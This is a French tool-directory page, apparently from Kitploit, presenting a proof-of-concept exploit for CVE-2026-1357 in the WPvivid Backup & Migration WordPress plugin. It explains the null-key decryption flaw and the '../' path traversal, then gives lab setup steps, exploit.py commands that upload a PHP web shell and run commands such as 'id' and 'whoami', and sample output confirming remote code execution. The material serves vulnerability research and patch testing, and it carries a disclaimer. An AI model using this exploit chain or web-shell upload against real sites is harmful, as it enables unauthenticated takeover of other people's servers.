Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-1357 — CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Exploit RCE non authentifié | Kitploit
Outils/GitHubGitHub/halilkirazkaya/cve-2026-1357
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubhalilkirazkaya/cve-2026-1357

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Exploit RCE non authentifié

Voir le dépôt
143il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-1357 — WPvivid Backup & Migration RCE

Téléversement arbitraire de fichiers sans authentification → Exécution de code à distance

ChampValeur
CVECVE-2026-1357
CVSS9.8 (Critique)
PluginWPvivid Backup & Migration
Affecté≤ 0.9.123
Corrigé0.9.124
Découvert parLucas Montes (NiRoX)
PoC parhalilkirazkaya

Aperçu

Le plugin WPvivid Backup & Migration (≤ 0.9.123) contient une vulnérabilité critique qui permet à un attaquant non authentifié de téléverser des fichiers PHP arbitraires sur le serveur, conduisant à une exécution de code à distance (RCE).

La chaîne d'exploitation combine deux bogues :

1. Défaillance cryptographique fail-open

Le plugin gère les transferts de sauvegarde à distance via le hook wpvivid_action=send_to_site. Lors du déchiffrement de la clé de session, openssl_private_decrypt() retourne false pour une clé RSA malformée. Le plugin ne vérifie pas cette valeur de retour et transmet false à Crypt_Rijndael de phpseclib v1, qui le traite comme une clé nulle de 16 octets (\x00 × 16) en mode CBC avec un IV nul.

2. Traversée de chemin

Le paramètre name dans la charge utile JSON déchiffrée n'est pas assaini. Un attaquant peut utiliser des séquences ../ pour écrire un fichier PHP en dehors du répertoire de sauvegarde restreint, dans le répertoire public wp-content/uploads/.

Contrainte

Le wpvivid_api_token doit avoir été généré dans les paramètres du plugin et ne doit pas avoir expiré.


Mise en place

1. Téléchargement du plugin vulnérable

Téléchargez et extrayez WPvivid Backup & Migration v0.9.123 (version vulnérable) :

root@kitploit:~
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip

Cela créera le répertoire wpvivid-backuprestore/ qui est monté dans le conteneur Docker via docker-compose.yml.

2. Démarrage de l'environnement de laboratoire

root@kitploit:~
docker compose up -d

3. Configuration de WordPress

  1. Ouvrez http://localhost et terminez l'installation de WordPress.
  2. Allez dans Extensions → Extensions installées et activez WPvivid Backup & Migration.
  3. Allez dans WPvivid → Réglages → Auto-Migration et cliquez sur Générer pour créer une clé (cela active le chemin de code vulnérable).

4. Installation des dépendances

root@kitploit:~
pip install -r requirements.txt

Utilisation

root@kitploit:~
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c

# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s

# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"

Exemple de sortie (mode Vérification)

root@kitploit:~
[*] Target       : http://localhost/
[*] Mode         : Check
[*] Upload path  : ../uploads/h8xq9b3v2z1c.txt

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.

Exemple de sortie (mode Shell)

root@kitploit:~
[*] Target       : http://localhost/
[*] Mode         : Shell
[*] Upload path  : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd   : id

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Références

  • Avis Wordfence
  • PoC original par LucasM0ntes

Avertissement

Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez-le de manière responsable.

Télécharger l’outil